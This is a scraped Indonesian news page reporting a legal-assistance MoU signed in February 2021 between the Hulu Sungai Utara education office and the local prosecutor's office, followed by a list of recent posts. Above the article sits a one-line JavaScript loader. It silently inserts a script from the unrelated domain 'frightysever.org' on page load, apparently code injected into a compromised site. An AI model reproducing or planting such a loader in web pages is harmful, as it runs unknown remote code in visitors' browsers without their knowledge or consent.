(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

MoU Pendampingan Hukum Disdik dengan Kejari HSU


KANALKALIMANTAN.COM, AMUNTAI – Meningkatkan kerjasama pelayanan hukum, Dinas Pendidikan Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan Memorandum of Undefstanding (MoU) dengan Kejaksaan Negeri (Kejari) HSU.

Kerjasama kesepakatan bersama penanganan masalah hukum bidang perdata dan tata usaha negara ini, ditandatangi Plt Kepala Disdik HSU H Junaidi Gunawan dengan Kepala Kejari HSU Novan Hadian, Selasa (9/2/2021) di aula kantor Kejari HSU.

“Ini kita lakukan dalam rangka kerjasama antara Dinas Pendidikan Kabupaten HSU dengan Kejaksaan Negeri HSU untuk meningkatkan pelayanan hukum, khususnya berkenaan dengan program dan kegiatan di Dinas Pendidikan HSU. Kemudian yang kedua dalam rangka meningkatkan dan penyediaan hal-hal yang berkenaan dengan hukum,” kata PLT Kadisdik HSU.

Junaidi menambahkan, kerjasama yang terjalin antara Disdik HSU dengan Kejaksaan Negeri HSU telah berlangsung sejak lama.

“Sebelumnya juga memang ada kerjasama yang dilaksanakan oleh Dinas Pendidikan HSU dengan Kejaksaan Negeri HSU oleh pimpinan yang terdahulu,” lanjutnya.

Kerjasama yang dijalin adalah dalam kegiatan pembangunan dan kegiatan yang bersifat fisik dan juga bersifat non fisik.

Diantaranya konsultasi tentang penanganan baik bersifat tata aturan dan ketentuan, maupun nanti penanganan yang bersifat di lapangan berkenaan dengan kegiatan pembangunan maupun rehabilitasi.

Sementara, Kepala Kejaksaan Negeri HSU Novan Hadian menyebut sampai saat ini instansi yang sudah menjalin kerjasama dengan Kejaksaan Negeri HSU sudah ada 6 instansi.

“Yaitu BPN HSU, Rumah Sakit Pembalah Batung, PDAM HSU, Dinas Kesehatan HSU, BNI, dan yang terakhir Dinas Pendidikan HSU,” beber Novan Hadian.

Kendati banyak instansi yang meminta pendampingan hukum, Novan menilai bahwa kegiatan pendampingan hukum ini tidaklah diwajibkan bagi dinas atau instansi.

“Kami membuka pintu kepada pemerintah kabupaten, khususnya dinas yang berkenan meminta pendampingan ataupun memberikan bantuan hukum, ataupun mengajak kami kerjasama dalam hal pemberian bantuan hukum,” ujarnya. (kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.